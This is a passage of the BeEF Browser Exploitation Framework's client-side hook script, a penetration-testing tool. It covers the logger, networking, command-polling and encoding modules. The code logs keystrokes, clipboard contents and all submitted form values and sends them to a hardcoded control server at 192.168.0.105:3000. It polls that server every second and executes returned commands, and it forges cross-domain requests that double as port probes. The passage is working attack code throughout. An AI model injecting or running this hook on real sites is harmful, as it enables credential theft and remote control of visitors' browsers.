9334 formIpec.setAttribute('action', 'http://'+rhost+':'+rport+path);
9335 formIpec.setAttribute('method', 'POST');
9336 formIpec.setAttribute('enctype', 'multipart/form-data');
9337
9338 input = document.createElement('textarea');
9339 input.setAttribute('name', Math.random().toString(36).substring(5));
9340 input.value = commands;
9341 formIpec.appendChild(input);
9342 iframeIpec.contentWindow.document.body.appendChild(formIpec);
9343 formIpec.submit();
9344
9345 return iframeIpec;
9346 }
9347
9348};
9349
9350beef.regCmp('beef.dom');
9351
9352
9353//
9354// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
9355// Browser Exploitation Framework (BeEF) - http://beefproject.com
9356// See the file 'doc/COPYING' for copying permission
9357//
9358
9359/*!
9360 * @literal object: beef.logger
9361 *
9362 * Provides logging capabilities.
9363 */
9364beef.logger = {
9365
9366 running: false,
9367 /**
9368 * Internal logger id
9369 */
9370 id: 0,
9371 /**
9372 * Holds events created by user, to be sent back to BeEF
9373 */
9374 events: [],
9375 /**
9376 * Holds current stream of key presses
9377 */
9378 stream: [],
9379 /**
9380 * Contains current target of key presses
9381 */
9382 target: null,
9383 /**
9384 * Holds the time the logger was started
9385 */
9386 time: null,
9387 /**
9388 * Holds the event details to be sent to BeEF
9389 */
9390 e: function() {
9391 this.id = beef.logger.get_id();
9392 this.time = beef.logger.get_timestamp();
9393 this.type = null;
9394 this.x = 0;
9395 this.y = 0;
9396 this.target = null;
9397 this.data = null;
9398 this.mods = null;
9399 },
9400
9401 /**
9402 * Starts the logger
9403 */
9404 start: function() {
9405
9406 beef.browser.hookChildFrames();
9407 this.running = true;
9408 var d = new Date();
9409 this.time = d.getTime();
9410
9411 $j(document).keypress(
9412 function(e) { beef.logger.keypress(e); }
9413 ).click(
9414 function(e) { beef.logger.click(e); }
9415 );
9416 $j(window).focus(
9417 function(e) { beef.logger.win_focus(e); }
9418 ).blur(
9419 function(e) { beef.logger.win_blur(e); }
9420 );
9421 $j('form').submit(
9422 function(e) { beef.logger.submit(e); }
9423 );
9424 document.body.oncopy = function() {
9425 setTimeout("beef.logger.copy();", 10);
9426 };
9427 document.body.oncut = function() {
9428 setTimeout("beef.logger.cut();", 10);
9429 };
9430 document.body.onpaste = function() {
9431 beef.logger.paste();
9432 }
9433 },
9434
9435 /**
9436 * Stops the logger
9437 */
9438 stop: function() {
9439 this.running = false;
9440 clearInterval(this.timer);
9441 $j(document).keypress(null);
9442 },
9443
9444 /**
9445 * Get id
9446 */
9447 get_id: function() {
9448 this.id++;
9449 return this.id;
9450 },
9451
9452 /**
9453 * Click function fires when the user clicks the mouse.
9454 */
9455 click: function(e) {
9456 var c = new beef.logger.e();
9457 c.type = 'click';
9458 c.x = e.pageX;
9459 c.y = e.pageY;
9460 c.target = beef.logger.get_dom_identifier(e.target);
9461 this.events.push(c);
9462 },
9463
9464 /**
9465 * Fires when the window element has regained focus
9466 */
9467 win_focus: function(e) {
9468 var f = new beef.logger.e();
9469 f.type = 'focus';
9470 this.events.push(f);
9471 },
9472
9473 /**
9474 * Fires when the window element has lost focus
9475 */
9476 win_blur: function(e) {
9477 var b = new beef.logger.e();
9478 b.type = 'blur';
9479 this.events.push(b);
9480 },
9481
9482 /**
9483 * Keypress function fires everytime a key is pressed.
9484 * @param {Object} e: event object
9485 */
9486 keypress: function(e) {
9487 if (this.target == null || ($j(this.target).get(0) !== $j(e.target).get(0)))
9488 {
9489 beef.logger.push_stream();
9490 this.target = e.target;
9491 }
9492 this.stream.push({'char':e.which, 'modifiers': {'alt':e.altKey, 'ctrl':e.ctrlKey,
9493
9494'shift':e.shiftKey}});
9495 },
9496
9497 /**
9498 * Copy function fires when the user copies data to the clipboard.
9499 */
9500 copy: function(x) {
9501 try {
9502 var c = new beef.logger.e();
9503 c.type = 'copy';
9504 c.data = clipboardData.getData("Text");
9505 this.events.push(c);
9506 } catch(e) {}
9507 },
9508
9509 /**
9510 * Cut function fires when the user cuts data to the clipboard.
9511 */
9512 cut: function() {
9513 try {
9514 var c = new beef.logger.e();
9515 c.type = 'cut';
9516 c.data = clipboardData.getData("Text");
9517 this.events.push(c);
9518 } catch(e) {}
9519 },
9520
9521 /**
9522 * Paste function fires when the user pastes data from the clipboard.
9523 */
9524 paste: function() {
9525 try {
9526 var c = new beef.logger.e();
9527 c.type = 'paste';
9528 c.data = clipboardData.getData("Text");
9529 this.events.push(c);
9530 } catch(e) {}
9531 },
9532
9533 /**
9534 * Submit function fires whenever a form is submitted
9535 * TODO: Cleanup this function
9536 */
9537 submit: function(e) {
9538 try {
9539 var f = new beef.logger.e();
9540 var values = "";
9541 f.type = 'submit';
9542 f.target = beef.logger.get_dom_identifier(e.target);
9543 for (var i = 0; i < e.target.elements.length; i++) {
9544 values += "["+i+"] "+e.target.elements[i].name+"="+e.target.elements[i].value+"\n";
9545 }
9546 f.data = 'Action: '+$j(e.target).attr('action')+' - Method: '+$j(e.target).attr
9547
9548('method') + ' - Values:\n'+values;
9549 this.events.push(f);
9550 } catch(e) {}
9551 },
9552
9553 /**
9554 * Pushes the current stream to the events queue
9555 */
9556 push_stream: function() {
9557 if (this.stream.length > 0)
9558 {
9559 this.events.push(beef.logger.parse_stream());
9560 this.stream = [];
9561 }
9562 },
9563
9564 /**
9565 * Translate DOM Object to a readable string
9566 */
9567 get_dom_identifier: function(target) {
9568 target = (target == null) ? this.target : target;
9569 var id = '';
9570 if (target)
9571 {
9572 id = target.tagName.toLowerCase();
9573 id += ($j(target).attr('id')) ? '#'+$j(target).attr('id') : ' ';
9574 id += ($j(target).attr('name')) ? '('+$j(target).attr('name')+')' : '';
9575 }
9576 return id;
9577 },
9578
9579 /**
9580 * Formats the timestamp
9581 * @return {String} timestamp string
9582 */
9583 get_timestamp: function() {
9584 var d = new Date();
9585 return ((d.getTime() - this.time) / 1000).toFixed(3);
9586 },
9587
9588 /**
9589 * Parses stream array and creates history string
9590 */
9591 parse_stream: function() {
9592 var s = '';
9593 var mods = '';
9594 for (var i in this.stream){
9595 try{
9596 var mod = this.stream[i]['modifiers'];
9597 s += String.fromCharCode(this.stream[i]['char']);
9598 if(typeof mod != 'undefined' &&
9599 (mod['alt'] == true ||
9600 mod['ctrl'] == true ||
9601 mod['shift'] == true)){
9602 mods += (mod['alt']) ? ' [Alt] ' : '';
9603 mods += (mod['ctrl']) ? ' [Ctrl] ' : '';
9604 mods += (mod['shift']) ? ' [Shift] ' : '';
9605 mods += String.fromCharCode(this.stream[i]['char']);
9606 }
9607
9608 }catch(e){}
9609 }
9610 var k = new beef.logger.e();
9611 k.type = 'keys';
9612 k.target = beef.logger.get_dom_identifier();
9613 k.data = s;
9614 k.mods = mods;
9615 return k;
9616 },
9617
9618 /**
9619 * Queue results to be sent back to framework
9620 */
9621 queue: function() {
9622 beef.logger.push_stream();
9623 if (this.events.length > 0)
9624 {
9625 beef.net.queue('/event', 0, this.events);
9626 this.events = [];
9627 }
9628 }
9629
9630};
9631
9632beef.regCmp('beef.logger');
9633
9634
9635//
9636// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
9637// Browser Exploitation Framework (BeEF) - http://beefproject.com
9638// See the file 'doc/COPYING' for copying permission
9639//
9640
9641/*!
9642 * @literal object: beef.net
9643 *
9644 * Provides basic networking functions,
9645 * like beef.net.request and beef.net.forgeRequest,
9646 * used by BeEF command modules and the Requester extension,
9647 * as well as beef.net.send which is used to return commands
9648 * to BeEF server-side components.
9649 *
9650 * Also, it contains the core methods used by the XHR-polling
9651 * mechanism (flush, queue)
9652 */
9653beef.net = {
9654
9655 host: "192.168.0.105",
9656 port: "3000",
9657 hook: "/hook.js",
9658 httpproto: "http",
9659 handler: '/dh',
9660 chop: 500,
9661 pad: 30, //this is the amount of padding for extra params such as pc, pid and sid
9662 sid_count: 0,
9663 cmd_queue: [],
9664
9665 /**
9666 * Command object. This represents the data to be sent back to BeEF,
9667 * using the beef.net.send() method.
9668 */
9669 command: function () {
9670 this.cid = null;
9671 this.results = null;
9672 this.status = null;
9673 this.handler = null;
9674 this.callback = null;
9675 },
9676
9677 /**
9678 * Packet object. A single chunk of data. X packets -> 1 stream
9679 */
9680 packet: function () {
9681 this.id = null;
9682 this.data = null;
9683 },
9684
9685 /**
9686 * Stream object. Contains X packets, which are command result chunks.
9687 */
9688 stream: function () {
9689 this.id = null;
9690 this.packets = [];
9691 this.pc = 0;
9692 this.get_base_url_length = function () {
9693 return (this.url + this.handler + '?' + 'bh=' + beef.session.get_hook_session_id()).length;
9694 };
9695 this.get_packet_data = function () {
9696 var p = this.packets.shift();
9697 return {'bh': beef.session.get_hook_session_id(), 'sid': this.id, 'pid': p.id, 'pc': this.pc, 'd': p.data }
9698 };
9699 },
9700
9701 /**
9702 * Response Object - used in the beef.net.request callback
9703 * NOTE: as we are using async mode, the response object will be empty if returned.
9704 * Using sync mode, request obj fields will be populated.
9705 */
9706 response: function () {
9707 this.status_code = null; // 500, 404, 200, 302
9708 this.status_text = null; // success, timeout, error, ...
9709 this.response_body = null; // "<html>…." if not a cross-origin request
9710 this.port_status = null; // tcp port is open, closed or not http
9711 this.was_cross_domain = null; // true or false
9712 this.was_timedout = null; // the user specified timeout was reached
9713 this.duration = null; // how long it took for the request to complete
9714 this.headers = null; // full response headers
9715 },
9716
9717 /**
9718 * Queues the specified command results.
9719 * @param: {String} handler: the server-side handler that will be called
9720 * @param: {Integer} cid: command id
9721 * @param: {String} results: the data to send
9722 * @param: {Integer} status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or 'success')
9723 * @param: {Function} callback: the function to call after execution
9724 */
9725 queue: function (handler, cid, results, status, callback) {
9726 if (typeof(handler) === 'string' && typeof(cid) === 'number' && (callback === undefined || typeof(callback)
9727
9728=== 'function')) {
9729 var s = new beef.net.command();
9730 s.cid = cid;
9731 s.results = beef.net.clean(results);
9732 s.status = status;
9733 s.callback = callback;
9734 s.handler = handler;
9735 this.cmd_queue.push(s);
9736 }
9737 },
9738
9739 /**
9740 * Queues the current command results and flushes the queue straight away.
9741 * NOTE: Always send Browser Fingerprinting results
9742 * (beef.net.browser_details(); -> /init handler) using normal XHR-polling,
9743 * even if WebSockets are enabled.
9744 * @param: {String} handler: the server-side handler that will be called
9745 * @param: {Integer} cid: command id
9746 * @param: {String} results: the data to send
9747 * @param: {Integer} exec_status: the result of the command execution (-1, 0 or 1 for 'error', 'unknown' or
9748
9749'success')
9750 * @param: {Function} callback: the function to call after execution
9751 * @return: {Integer} exec_status: the command module execution status (defaults to 0 - 'unknown' if status is
9752
9753null)
9754 */
9755 send: function (handler, cid, results, exec_status, callback) {
9756 // defaults to 'unknown' execution status if no parameter is provided, otherwise set the status
9757 var status = 0;
9758 if (exec_status != null && parseInt(Number(exec_status)) == exec_status){ status = exec_status}
9759
9760 if (typeof beef.websocket === "undefined" || (handler === "/init" && cid == 0)) {
9761 this.queue(handler, cid, results, status, callback);
9762 this.flush();
9763 } else {
9764 try {
9765 beef.websocket.send('{"handler" : "' + handler + '", "cid" :"' + cid +
9766 '", "result":"' + beef.encode.base64.encode(beef.encode.json.stringify(results)) +
9767 '", "status": "' + exec_status +
9768 '", "callback": "' + callback +
9769 '","bh":"' + beef.session.get_hook_session_id() + '" }');
9770 } catch (e) {
9771 this.queue(handler, cid, results, status, callback);
9772 this.flush();
9773 }
9774 }
9775
9776 return status;
9777 },
9778
9779 /**
9780 * Flush all currently queued command results to the framework,
9781 * chopping the data in chunks ('chunk' method) which will be re-assembled
9782 * server-side by the network stack.
9783 * NOTE: currently 'flush' is used only with the default
9784 * XHR-polling mechanism. If WebSockets are used, the data is sent
9785 * back to BeEF straight away.
9786 */
9787 flush: function () {
9788 if (this.cmd_queue.length > 0) {
9789 var data = beef.encode.base64.encode(beef.encode.json.stringify(this.cmd_queue));
9790 this.cmd_queue.length = 0;
9791 this.sid_count++;
9792 var stream = new this.stream();
9793 stream.id = this.sid_count;
9794 var pad = stream.get_base_url_length() + this.pad;
9795 //cant continue if chop amount is too low
9796 if ((this.chop - pad) > 0) {
9797 var data = this.chunk(data, (this.chop - pad));
9798 for (var i = 1; i <= data.length; i++) {
9799 var packet = new this.packet();
9800 packet.id = i;
9801 packet.data = data[(i - 1)];
9802 stream.packets.push(packet);
9803 }
9804 stream.pc = stream.packets.length;
9805 this.push(stream);
9806 }
9807 }
9808 },
9809
9810 /**
9811 * Split the input data into chunk lengths determined by the amount parameter.
9812 * @param: {String} str: the input data
9813 * @param: {Integer} amount: chunk length
9814 */
9815 chunk: function (str, amount) {
9816 if (typeof amount == 'undefined') n = 2;
9817 return str.match(RegExp('.{1,' + amount + '}', 'g'));
9818 },
9819
9820 /**
9821 * Push the input stream back to the BeEF server-side components.
9822 * It uses beef.net.request to send back the data.
9823 * @param: {Object} stream: the stream object to be sent back.
9824 */
9825 push: function (stream) {
9826 //need to implement wait feature here eventually
9827 for (var i = 0; i < stream.pc; i++) {
9828 this.request(this.httpproto, 'GET', this.host, this.port, this.handler, null, stream.get_packet_data(), 10,
9829
9830'text', null);
9831 }
9832 },
9833
9834 /**
9835 * Performs http requests
9836 * @param: {String} scheme: HTTP or HTTPS
9837 * @param: {String} method: GET or POST
9838 * @param: {String} domain: bindshell.net, 192.168.3.4, etc
9839 * @param: {Int} port: 80, 5900, etc
9840 * @param: {String} path: /path/to/resource
9841 * @param: {String} anchor: this is the value that comes after the # in the URL
9842 * @param: {String} data: This will be used as the query string for a GET or post data for a POST
9843 * @param: {Int} timeout: timeout the request after N seconds
9844 * @param: {String} dataType: specify the data return type expected (ie text/html/script)
9845 * @param: {Function} callback: call the callback function at the completion of the method
9846 *
9847 * @return: {Object} response: this object contains the response details
9848 */
9849 request: function (scheme, method, domain, port, path, anchor, data, timeout, dataType, callback) {
9850 //check if same domain or cross domain
9851 var cross_domain = true;
9852 if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
9853 if (document.location.port == "" || document.location.port == null) {
9854 cross_domain = !(port == "80" || port == "443");
9855 }
9856 }
9857
9858 //build the url
9859 var url = "";
9860 if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
9861 url = path;
9862 } else {
9863 url = scheme + "://" + domain;
9864 url = (port != null) ? url + ":" + port : url;
9865 url = (path != null) ? url + path : url;
9866 url = (anchor != null) ? url + "#" + anchor : url;
9867 }
9868
9869 //define response object
9870 var response = new this.response;
9871 response.was_cross_domain = cross_domain;
9872 var start_time = new Date().getTime();
9873
9874 /*
9875 * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
9876 * This will turn POSTs into GETs for remote-domain requests.
9877 */
9878 if (method == "POST") {
9879 $j.ajaxSetup({
9880 dataType: dataType
9881 });
9882 } else {
9883 $j.ajaxSetup({
9884 dataType: 'script'
9885 });
9886 }
9887
9888 //build and execute the request
9889 $j.ajax({type: method,
9890 url: url,
9891 data: data,
9892 timeout: (timeout * 1000),
9893
9894 //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
9895 beforeSend: function (xhr) {
9896 if (method == "POST") {
9897 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
9898 }
9899 },
9900 success: function (data, textStatus, xhr) {
9901 var end_time = new Date().getTime();
9902 response.status_code = xhr.status;
9903 response.status_text = textStatus;
9904 response.response_body = data;
9905 response.port_status = "open";
9906 response.was_timedout = false;
9907 response.duration = (end_time - start_time);
9908 },
9909 error: function (jqXHR, textStatus, errorThrown) {
9910 var end_time = new Date().getTime();
9911 response.response_body = jqXHR.responseText;
9912 response.status_code = jqXHR.status;
9913 response.status_text = textStatus;
9914 response.duration = (end_time - start_time);
9915 response.port_status = "open";
9916 },
9917 complete: function (jqXHR, textStatus) {
9918 response.status_code = jqXHR.status;
9919 response.status_text = textStatus;
9920 response.headers = jqXHR.getAllResponseHeaders();
9921 // determine if TCP port is open/closed/not-http
9922 if (textStatus == "timeout") {
9923 response.was_timedout = true;
9924 response.response_body = "ERROR: Timed out\n";
9925 response.port_status = "closed";
9926 } else if (textStatus == "parsererror") {
9927 response.port_status = "not-http";
9928 } else {
9929 response.port_status = "open";
9930 }
9931 }
9932 }).always(function () {
9933 if (callback != null) {
9934 callback(response);
9935 }
9936 });
9937 return response;
9938 },
9939
9940 /*
9941 * Similar to beef.net.request, except from a few things that are needed when dealing with forged requests:
9942 * - requestid: needed on the callback
9943 * - allowCrossDomain: set cross-domain requests as allowed or blocked
9944 *
9945 * forge_request is used mainly by the Requester and Tunneling Proxy Extensions.
9946 * Example usage:
9947 * beef.net.forge_request("http", "POST", "172.20.40.50", 8080, "/lulz",
9948 * true, null, { foo: "bar" }, 5, 'html', false, null, function(response) {
9949 * alert(response.response_body)})
9950 */
9951 forge_request: function (scheme, method, domain, port, path, anchor, headers, data, timeout, dataType,
9952
9953allowCrossDomain, requestid, callback) {
9954
9955 // check if same domain or cross domain
9956 var cross_domain = true;
9957 if (domain == "undefined" || path == "undefined") {
9958 return;
9959 }
9960 if (document.domain == domain.replace(/(\r\n|\n|\r)/gm, "")) { //strip eventual line breaks
9961 if (document.location.port == "" || document.location.port == null) {
9962 cross_domain = !(port == "80" || port == "443");
9963 } else {
9964 if (document.location.port == port) cross_domain = false;
9965 }
9966 }
9967 // build the url
9968 var url = "";
9969 if (path.indexOf("http://") != -1 || path.indexOf("https://") != -1) {
9970 url = path;
9971 } else {
9972 url = scheme + "://" + domain;
9973 url = (port != null) ? url + ":" + port : url;
9974 url = (path != null) ? url + path : url;
9975 url = (anchor != null) ? url + "#" + anchor : url;
9976 }
9977
9978 // define response object
9979 var response = new this.response;
9980 response.was_cross_domain = cross_domain;
9981 var start_time = new Date().getTime();
9982
9983 // if cross-domain requests are not allowed and the request is cross-domain
9984 // don't proceed and return
9985 if (allowCrossDomain == "false" && cross_domain && callback != null) {
9986 response.status_code = -1;
9987 response.status_text = "crossdomain";
9988 response.port_status = "crossdomain";
9989 response.response_body = "ERROR: Cross Domain Request. The request was not sent.\n";
9990 response.headers = "ERROR: Cross Domain Request. The request was not sent.\n";
9991 callback(response, requestid);
9992 return response;
9993 }
9994
9995 /*
9996 * according to http://api.jquery.com/jQuery.ajax/, Note: having 'script':
9997 * This will turn POSTs into GETs for remote-domain requests.
9998 */
9999 if (method == "POST") {
10000 $j.ajaxSetup({
10001 dataType: dataType
10002 });
10003 } else {
10004 $j.ajaxSetup({
10005 dataType: 'script'
10006 });
10007 }
10008
10009 // this is required for bugs in IE so data can be transferred back to the server
10010 if (beef.browser.isIE()) {
10011 dataType = 'script'
10012 }
10013
10014 $j.ajax({type: method,
10015 dataType: dataType,
10016 url: url,
10017 headers: headers,
10018 timeout: (timeout * 1000),
10019
10020 //This is needed, otherwise jQuery always add Content-type: application/xml, even if data is populated.
10021 beforeSend: function (xhr) {
10022 if (method == "POST") {
10023 xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded; charset=utf-8");
10024 }
10025 },
10026
10027 data: data,
10028
10029 // http server responded successfully
10030 success: function (data, textStatus, xhr) {
10031 var end_time = new Date().getTime();
10032 response.status_code = xhr.status;
10033 response.status_text = textStatus;
10034 response.response_body = data;
10035 response.was_timedout = false;
10036 response.duration = (end_time - start_time);
10037 },
10038
10039 // server responded with a http error (403, 404, 500, etc)
10040 // or server is not a http server
10041 error: function (xhr, textStatus, errorThrown) {
10042 var end_time = new Date().getTime();
10043 response.response_body = xhr.responseText;
10044 response.status_code = xhr.status;
10045 response.status_text = textStatus;
10046 response.duration = (end_time - start_time);
10047 },
10048
10049 complete: function (xhr, textStatus) {
10050 // cross-domain request
10051 if (cross_domain) {
10052
10053 response.port_status = "crossdomain";
10054
10055 if (xhr.status != 0) {
10056 response.status_code = xhr.status;
10057 } else {
10058 response.status_code = -1;
10059 }
10060
10061 if (textStatus) {
10062 response.status_text = textStatus;
10063 } else {
10064 response.status_text = "crossdomain";
10065 }
10066
10067 if (xhr.getAllResponseHeaders()) {
10068 response.headers = xhr.getAllResponseHeaders();
10069 } else {
10070 response.headers = "ERROR: Cross Domain Request. The request was sent however it is impossible
10071
10072to view the response.\n";
10073 }
10074
10075 if (!response.response_body) {
10076 response.response_body = "ERROR: Cross Domain Request. The request was sent however it is
10077
10078impossible to view the response.\n";
10079 }
10080
10081 } else {
10082 // same-domain request
10083 response.status_code = xhr.status;
10084 response.status_text = textStatus;
10085 response.headers = xhr.getAllResponseHeaders();
10086
10087 // determine if TCP port is open/closed/not-http
10088 if (textStatus == "timeout") {
10089 response.was_timedout = true;
10090 response.response_body = "ERROR: Timed out\n";
10091 response.port_status = "closed";
10092 /*
10093 * With IE we need to explicitly set the dataType to "script",
10094 * so there will be always parse-errors if the content is != javascript
10095 * */
10096 } else if (textStatus == "parsererror") {
10097 response.port_status = "not-http";
10098 if (beef.browser.isIE()) {
10099 response.status_text = "success";
10100 response.port_status = "open";
10101 }
10102 } else {
10103 response.port_status = "open";
10104 }
10105 }
10106 callback(response, requestid);
10107 }
10108 });
10109 return response;
10110 },
10111
10112 //this is a stub, as associative arrays are not parsed by JSON, all key / value pairs should use new Object() or {}
10113 //http://andrewdupont.net/2006/05/18/javascript-associative-arrays-considered-harmful/
10114 clean: function (r) {
10115 if (this.array_has_string_key(r)) {
10116 var obj = {};
10117 for (var key in r)
10118 obj[key] = (this.array_has_string_key(obj[key])) ? this.clean(r[key]) : r[key];
10119 return obj;
10120 }
10121 return r;
10122 },
10123
10124 //Detects if an array has a string key
10125 array_has_string_key: function (arr) {
10126 if ($j.isArray(arr)) {
10127 try {
10128 for (var key in arr)
10129 if (isNaN(parseInt(key))) return true;
10130 } catch (e) {
10131 }
10132 }
10133 return false;
10134 },
10135
10136 /**
10137 * Sends back browser details to framework, calling beef.browser.getDetails()
10138 */
10139 browser_details: function () {
10140 var details = beef.browser.getDetails();
10141 details['HookSessionID'] = beef.session.get_hook_session_id();
10142 this.send('/init', 0, details);
10143 }
10144
10145};
10146
10147
10148beef.regCmp('beef.net');
10149
10150
10151//
10152// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
10153// Browser Exploitation Framework (BeEF) - http://beefproject.com
10154// See the file 'doc/COPYING' for copying permission
10155//
10156
10157/*!
10158 * @Literal object: beef.updater
10159 *
10160 * Object in charge of getting new commands from the BeEF framework and execute them.
10161 * The XHR-polling channel is managed here. If WebSockets are enabled,
10162 * websocket.ls is used instead.
10163 */
10164beef.updater = {
10165
10166 // XHR-polling timeout.
10167 xhr_poll_timeout: "1000",
10168 beefhook: "BEEFHOOK",
10169
10170 // A lock.
10171 lock: false,
10172
10173 // An object containing all values to be registered and sent by the updater.
10174 objects: new Object(),
10175
10176 /*
10177 * Registers an object to always send when requesting new commands to the framework.
10178 * @param: {String} the name of the object.
10179 * @param: {String} the value of that object.
10180 *
10181 * @example: beef.updater.regObject('java_enabled', 'true');
10182 */
10183 regObject: function(key, value) {
10184 this.objects[key] = escape(value);
10185 },
10186
10187 // Checks for new commands from the framework and runs them.
10188 check: function() {
10189 if(this.lock == false) {
10190 if (beef.logger.running) {
10191 beef.logger.queue();
10192 }
10193 beef.net.flush();
10194 if(beef.commands.length > 0) {
10195 this.execute_commands();
10196 }else {
10197 this.get_commands(); /*Polling*/
10198 }
10199 }
10200 /* The following gives a stupid syntax error in IE, which can be ignored*/
10201 setTimeout(function(){beef.updater.check()}, beef.updater.xhr_poll_timeout);
10202 },
10203
10204 /**
10205 * Gets new commands from the framework.
10206 */
10207 get_commands: function() {
10208 try {
10209 this.lock = true;
10210 beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null,
10211
10212beef.updater.beefhook+'='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
10213 if (response.body != null && response.body.length > 0)
10214 beef.updater.execute_commands();
10215 });
10216 } catch(e) {
10217 this.lock = false;
10218 return;
10219 }
10220 this.lock = false;
10221 },
10222
10223 /**
10224 * Executes the received commands, if any.
10225 */
10226 execute_commands: function() {
10227 if(beef.commands.length == 0) return;
10228 this.lock = true;
10229 while(beef.commands.length > 0) {
10230 command = beef.commands.pop();
10231 try {
10232 command();
10233 } catch(e) {
10234 beef.debug('execute_commands - command failed to execute: ' +
10235
10236e.message);
10237 // prints the command source to be executed, to better trace errors
10238 // beef.client_debug must be enabled in the main config
10239 beef.debug(command.toString());
10240 }
10241 }
10242 this.lock = false;
10243 }
10244};
10245
10246beef.regCmp('beef.updater');
10247
10248
10249//
10250// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
10251// Browser Exploitation Framework (BeEF) - http://beefproject.com
10252// See the file 'doc/COPYING' for copying permission
10253//
10254
10255// Base64 code from http://stackoverflow.com/questions/3774622/how-to-base64-encode-inside-of-
10256
10257javascript/3774662#3774662
10258
10259beef.encode = {};
10260
10261beef.encode.base64 = {
10262
10263 keyStr: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
10264
10265 encode : function (input) {
10266 if (window.btoa) {
10267 return btoa(unescape(encodeURIComponent(input)));
10268 }
10269
10270 var output = "";
10271 var chr1, chr2, chr3, enc1, enc2, enc3, enc4;
10272 var i = 0;
10273
10274 input = beef.encode.base64.utf8_encode(input);
10275
10276 while (i < input.length) {
10277
10278 chr1 = input.charCodeAt(i++);
10279 chr2 = input.charCodeAt(i++);
10280 chr3 = input.charCodeAt(i++);
10281
10282 enc1 = chr1 >> 2;
10283 enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);
10284 enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);
10285 enc4 = chr3 & 63;
10286
10287 if (isNaN(chr2)) {
10288 enc3 = enc4 = 64;
10289 } else if (isNaN(chr3)) {
10290 enc4 = 64;
10291 }
10292
10293 output = output +
10294 this.keyStr.charAt(enc1) + this.keyStr.charAt(enc2) +
10295 this.keyStr.charAt(enc3) + this.keyStr.charAt(enc4);
10296
10297 }
10298
10299 return output;
10300 },
10301
10302
10303 decode : function (input) {
10304 if (window.atob) {
10305 return escape(atob(input));
10306 }
10307
10308 var output = "";
10309 var chr1, chr2, chr3;
10310 var enc1, enc2, enc3, enc4;
10311 var i = 0;
10312
10313 input = input.replace(/[^A-Za-z0-9\+\/\=]/g, "");
10314
10315 while (i < input.length) {
10316
10317 enc1 = this.keyStr.indexOf(input.charAt(i++));
10318 enc2 = this.keyStr.indexOf(input.charAt(i++));
10319 enc3 = this.keyStr.indexOf(input.charAt(i++));
10320 enc4 = this.keyStr.indexOf(input.charAt(i++));
10321
10322 chr1 = (enc1 << 2) | (enc2 >> 4);
10323 chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);
10324 chr3 = ((enc3 & 3) << 6) | enc4;
10325
10326 output = output + String.fromCharCode(chr1);
10327
10328 if (enc3 != 64) {
10329 output = output + String.fromCharCode(chr2);
10330 }
10331 if (enc4 != 64) {
10332 output = output + String.fromCharCode(chr3);
10333 }
10334
10335 }
10336
10337 output = beef.encode.base64.utf8_decode(output);
10338
10339 return output;
10340
10341 },
10342
10343
10344 utf8_encode : function (string) {
10345 string = string.replace(/\r\n/g,"\n");
10346 var utftext = "";
10347
10348 for (var n = 0; n < string.length; n++) {
10349
10350 var c = string.charCodeAt(n);
10351
10352 if (c < 128) {
10353 utftext += String.fromCharCode(c);
10354 }
10355 else if((c > 127) && (c < 2048)) {
10356 utftext += String.fromCharCode((c >> 6) | 192);
10357 utftext += String.fromCharCode((c & 63) | 128);
10358 }
10359 else {
10360 utftext += String.fromCharCode((c >> 12) | 224);
10361 utftext += String.fromCharCode(((c >> 6) & 63) | 128);
10362 utftext += String.fromCharCode((c & 63) | 128);
10363 }
10364
10365 }
10366
10367 return utftext;
10368 },
10369
10370 utf8_decode : function (utftext) {
10371 var string = "";
10372 var i = 0;
10373 var c = c1 = c2 = 0;
10374
10375 while ( i < utftext.length ) {
10376
10377 c = utftext.charCodeAt(i);
10378
10379 if (c < 128) {
10380 string += String.fromCharCode(c);
10381 i++;
10382 }
10383 else if((c > 191) && (c < 224)) {
10384 c2 = utftext.charCodeAt(i+1);
10385 string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));
10386 i += 2;
10387 }
10388 else {
10389 c2 = utftext.charCodeAt(i+1);
10390 c3 = utftext.charCodeAt(i+2);
10391 string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));
10392 i += 3;
10393 }
10394
10395 }
10396
10397 return string;
10398 }
10399
10400};
10401
10402beef.regCmp('beef.encode.base64');
10403
10404
10405//
10406// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
10407// Browser Exploitation Framework (BeEF) - http://beefproject.com
10408// See the file 'doc/COPYING' for copying permission
10409//
10410
10411// Json code from Brantlye Harris-- http://code.google.com/p/jquery-json/
10412
10413beef.encode.json = {
10414
10415 stringify: function(o) {
10416 if (typeof(JSON) == 'object' && JSON.stringify) {
10417 // Error on stringifying cylcic structures caused polling to die
10418 try {
10419 s = JSON.stringify(o);
10420 } catch(error) {
10421 // TODO log error / handle cyclic structures?
10422 }
10423 return s;
10424 }
10425 var type = typeof(o);
10426
10427 if (o === null)
10428 return "null";
10429
10430 if (type == "undefined")
10431 return '\"\"';
10432
10433 if (type == "number" || type == "boolean")
10434 return o + "";
10435
10436 if (type == "string")
10437 return $j.quoteString(o);
10438
10439 if (type == 'object')
10440 {
10441 if (typeof o.toJSON == "function")
10442 return $j.toJSON( o.toJSON() );
10443
10444 if (o.constructor === Date)
10445 {
10446 var month = o.getUTCMonth() + 1;
10447 if (month < 10) month = '0' + month;
10448
10449 var day = o.getUTCDate();
10450 if (day < 10) day = '0' + day;
10451
10452 var year = o.getUTCFullYear();
10453
10454 var hours = o.getUTCHours();
10455 if (hours < 10) hours = '0' + hours;
10456
10457 var minutes = o.getUTCMinutes();
